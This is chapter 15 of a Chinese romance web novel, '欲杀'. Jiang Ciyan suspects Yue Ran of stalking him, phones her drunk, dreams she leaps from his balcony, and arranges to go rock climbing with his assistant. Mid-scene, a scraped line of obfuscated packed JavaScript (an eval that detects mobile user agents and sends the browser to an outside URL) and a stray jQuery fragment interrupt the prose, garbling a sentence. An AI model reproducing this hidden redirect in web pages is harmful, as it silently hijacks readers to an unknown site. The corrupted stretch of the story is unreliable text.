15. 第15章

作品:《欲杀

    民宿老板给他安排了一顿免费晚餐,道歉。


    吃完饭,上楼,老板还在房间里,没走。


    江辞宴佩服他这耐性,这人怕不是以为他会小心眼到,对刚才的事情耿耿于怀,因为那说错的几句话,自己就退了长租的民宿。


    “江总你看满意吗?”王老板微笑打招呼,从门口让开。


    江辞宴点头致意,房间格局也跟之前差不多,只是位置不一样,隔壁屋子跟另外一边,是同一方位,他扫了一眼隔壁房间,问老板:“那间有人住吗?”


    王老板愣了一下,脸诧异道:“隔壁是岳小姐定的房间,我以为……”


    江辞宴蹙眉,目光从门移到老板脸上,眉头越锁越紧,追问:“她这房间定多久了?”


    “几个月,我不太确定,我叫人跟你看一下!”


    ……


    江辞宴心底已经装不下疯长的疑云,他没精力听别人说任何一句话。


    那一幕幕的“巧合”,在脑子里来回闪现。


    从公交站遇见到后面一次又一次的巧合。


    还有酒店老板口中的数次出双入对,让他有种被跟踪的感觉。


    他不知道岳然是什么目的。


    可是一定没安好心,他知道自己的直觉从来不会骗他。


    江辞宴开车回去的路上,几次想打电话同钱峰说这些离奇的事情,让钱峰死心,最终还是忍住了。


    只是这些口头证据远远不够,钱峰现在正是上头的时候。


    哪怕说了,钱峰只会认为是他对岳然这女人的偏见。


    他没回家,开车去了体育馆。


    岳然果然是体育馆会员,他几乎可以确定岳然跟踪他。


    这女人图什么?


    为了钱峰?


    是不是太费周章了!


    从体育馆回去的路上,江辞宴去酒吧喝了两个小时酒,回到顶楼公寓,打开门,客厅那架黑色钢琴也一时变得格外碍眼。


    走了几步,心口一阵抽痛。


    那女人是不是江毅派过来的奸细?


    哪怕一切还没有尘埃落定,他却有一种会失去钱峰的错觉。


    10年友谊,败给一个女人,他不甘心。


    现在他只想确定,如果事实摆在眼前,钱峰是不是依旧会抛下他。


    脚下步子不稳当,江辞宴跌跌撞撞前进几步,倒在沙发上。


    拿出手机,从通讯录里,翻出钱峰电话始终没有拨出去。


    最终播了岳然电话。


    岳然在别墅卧室里。


    陌生号码打来时,她刚洗完澡,睡衣扣上最后一颗扣子。


    铃声还在响,扫了眼号码,她接了起来:“喂你好?哪位?”


    “岳然……”


    他们几乎同时说话。


    岳然依旧听出来电话那头是谁,并且还确定这人喝多了。


    已经23:03,这么晚,打电话过来,肯定没好事。


    挂电话前一秒,电话那头话又飘过来:“你是不是江毅派过来的奸细?”


    岳然火气瞬间点燃,对着电话开骂,“江辞宴你是不是有毛病!”


    岳然骂完电话挂断,手机关机。


    江辞宴绝对有病。


    刚才听到奸细两个字,火气就上来了,半天她才反应过来江毅是谁。


    江毅是江辞宴大哥。


    经常看到花边新闻上说——“江氏集团,如果大公子江毅要是有心思夺权的话,江家总经理位置不可能落到江辞宴身上,可惜江毅眼里只有老婆孩子。”


    老天真是不公平。


    可江辞宴那话,什么意思?


    莫非江毅跟传闻中不一样。


    岳然立马否定自己想法,心里有鬼的人,看谁都是鬼,她跟江毅压根没见过面。


    江辞宴这样的神经病,都不知道怎么会把他们联系到一起。


    他的脑子跟假的一样,想一出是一出。


    江辞宴追着打电话,语音提示反复提醒,对方手机已经关机。


    不知道打了几个,他打了秦颂电话。


    铃声快结束那边才接通。


    “喂……老板!”秦颂从睡梦中惊醒。


    江辞宴压着火气,把所有事情同秦颂说了一遍。


    秦颂都快听睡着了。


    江辞宴问秦颂:“你说那女人什么目的?”


    “老板……我觉得是巧合。”


    江辞宴气急反问:“什么巧合?你带脑子没有?”


    刀架在脖子上,秦颂从床上惊坐起,睡意刹那消散,“老板,你听我解释,我是觉得岳小姐刚毕业,不可能认识大公子,真认识的话,岳小姐那性格也不会是真听别人指挥的人,而且要是大公子真指挥得了岳小姐,我要是大公子,也不会喊人盯着钱峰,盯着你不是更好。”


    江辞宴头昏昏沉沉,重如千斤,思绪依旧清醒,沉默片刻说:“那你觉得岳然喜欢钱峰吗?”


    秦颂傻眼,干笑两声:“才认识多久,我不敢确定岳小姐喜不喜欢钱峰,但是至少不讨厌,再说……感情是可以培养的……”


    江辞宴胸口一堵,没说话,思绪又乱成一团。


    电话那头的秦颂,问题又丢过来:“老板你说是不是...感情……”


    江辞宴挂断电话,手机关机,丟一边。


    脑子里全是岳然刚才骂他有病的声音。


    他倒在沙发上,闭上眼睛,任由那股声音,击溃脑海里那些乱七八糟的想法。


    直到新的思绪冒出来,如果真是美人计,那美人脾气也太过暴躁了。


    那女人对他真是没有半点耐心,他还帮过她那么多次,不感恩就算了,怎么感觉还讨厌他?


    江辞宴睁开双眼,对着天花板冷笑,或许真是他想太多,要是真对他有什么目的,岳然也不可能蠢到在暴雨中,拿身体开玩笑。


    度假村和体育馆那么多机会,不可能会去江家庄园。


    毕竟对他而言,美人计虽然不见得有用,可比苦肉计有用多了,他才不是什么同情弱者的圣人,要不是因为钱峰,他压根不会正眼看岳然。


    她可怜又怎样,跟他有什么关系。


    不知过了多久,婉转悠扬的钢琴曲在耳边再度响起,江辞宴睁眼,从沙发上弹起。


    琴声不止,寻声望去,一袭红色长裙的岳然,在钢琴前端坐,随着音符律动,她激情弹奏。


    江辞宴头皮一紧,拉下脸,压着嗓子问:“你怎么在这里?钱峰带你过来的?”


    琴声嘎然而止。


    岳然猛然扭头,眼底是压制不住的欣喜,嘟嘴撒娇笑问:“不好听吗?”


    江辞宴愣了一下,去掐自己的手,生疼,再度仰起头,岳然已经近在眼前,她脸上笑意不减。


    他不知道这女人要干嘛,绷直身体往沙发里面靠,岳然步步紧逼。


    江辞宴没忍住骂出声:“我看你才是有病!”


    岳然终于停下来,眼神变委屈。


    江辞宴对上她的目光,心里莫名酸楚,错开视线,看着钢琴冷声说:“你以为这是你家吗?总是随便乱动别人东西!”


    没有回应


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366194|183794||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    江辞宴抬眸,眼前早已空无一人,耳边熟悉的旋律响起来,钢琴前也没有人。


    人呢?


    他还不能说她了。


    江辞宴慌忙站起来,扫视一圈,视线落在阳台,岳然站在阳台上,摇摇欲坠。


    他心一紧,大步流星奔过去。


    岳然冲他笑了笑,扭头面向屋外万丈高楼。


    她要干嘛?


    可怕的答案从脑海冒出来,江辞宴心一空,腿止不住颤斗,大喊,“我道歉,对不起……我……”


    岳然头也不回,纵身一跃。


    江辞宴胸口骤疼,不假思索追着跳下去,耳边依旧是熟悉的旋律,强光逼得他睁不开眼,慌乱之中随手一抓,抓到了人,松了一口气,颤声喊:“岳然……”


    眼前一亮,江辞宴瞪大双眼盯着头顶天花板,手里攥着自己的西装外套,深吸一口气,试图压制住躁动不安的心,奈何一点用没有。


    他提起西装外套扫了一眼,甩在沙发靠背上。


    谁说做梦掐自己不会疼?


    放屁!


    手机在沙发角落狂叫。


    他坐起来,额头的汗滴到手背上,又冰又凉。


    江辞宴不由自主苦笑起来,他大概是真疯了,掏出陷进沙发的手机,按下接听键,“喂~”


    “老板!”秦颂欣喜万分,从绝望中抽离出来。


    江辞宴按着太阳穴,没耐心说:“有事说事!”


    “你要是不放心岳小姐,我今天可以去给你调查一下。”


    听到岳字,江辞宴心口又抽了一下,手机差点摔出去,“不用!”


    秦颂有些不习惯,昨夜打电话,老板一直没接,他反省一夜,觉得自己最近是太过胆大包天,多次忤逆老板,老板生气也情理之中。


    哪怕老板错了,也不应该指出来,更不该说实话,最近老板太过反常,他都快忘了谁给自己发工资,不知天高地厚。


    江辞宴可不知道秦颂想那么多,他看向窗外,外面万里无云,他一头雾水,那头秦颂没说话,电话也没挂断,他补充说:“可能是我想多了,你别去跟钱峰乱说。”


    “收到,老板!我会把这事烂在肚子里。”


    江辞宴嗤笑问,“下午有空吗?”


    “有空!怎么了?”


    “陪我去攀岩。”


    ...


    秦颂不情不愿,先到攀岩馆候着,还没开始动,四肢已经有点发软。


    江辞宴下车时,注意到不远处四处张望的秦颂,没急着打招呼,问旁边一个穿着工服的女员工:“你们老板呢?”


    “老板不在,先生你要是找他有事,我这边可以跟你联系。”


    服务员是新面孔,不认识他。


    江辞宴摇头,走了两步又回头问:“你们攀岩馆有女会员吗?”


    服务员一愣,笑笑点头,“有的。”


    江辞宴没说什么,刚才那问题也蠢到家了。


    怎么可能没有女会员,又不是女人不能攀岩。


    他也只是想知道女会员里有没有叫岳然的女人。


    不远处刚好有两个穿着运动装的女人走来。


    前方秦颂,盯美女不小心扫到他,那脸色变得很搞笑,不知道是心虚,还是愧疚。


    秦颂这种色胆包天的人,还会心虚,也很可笑,毕竟明星,他都敢惦记。


    秦颂觍着脸跑过来,江辞宴注意力却在那两个女人身后的攀岩馆老板身上。


    他再最后确定一次,岳然到底是不是不安好心接近他们。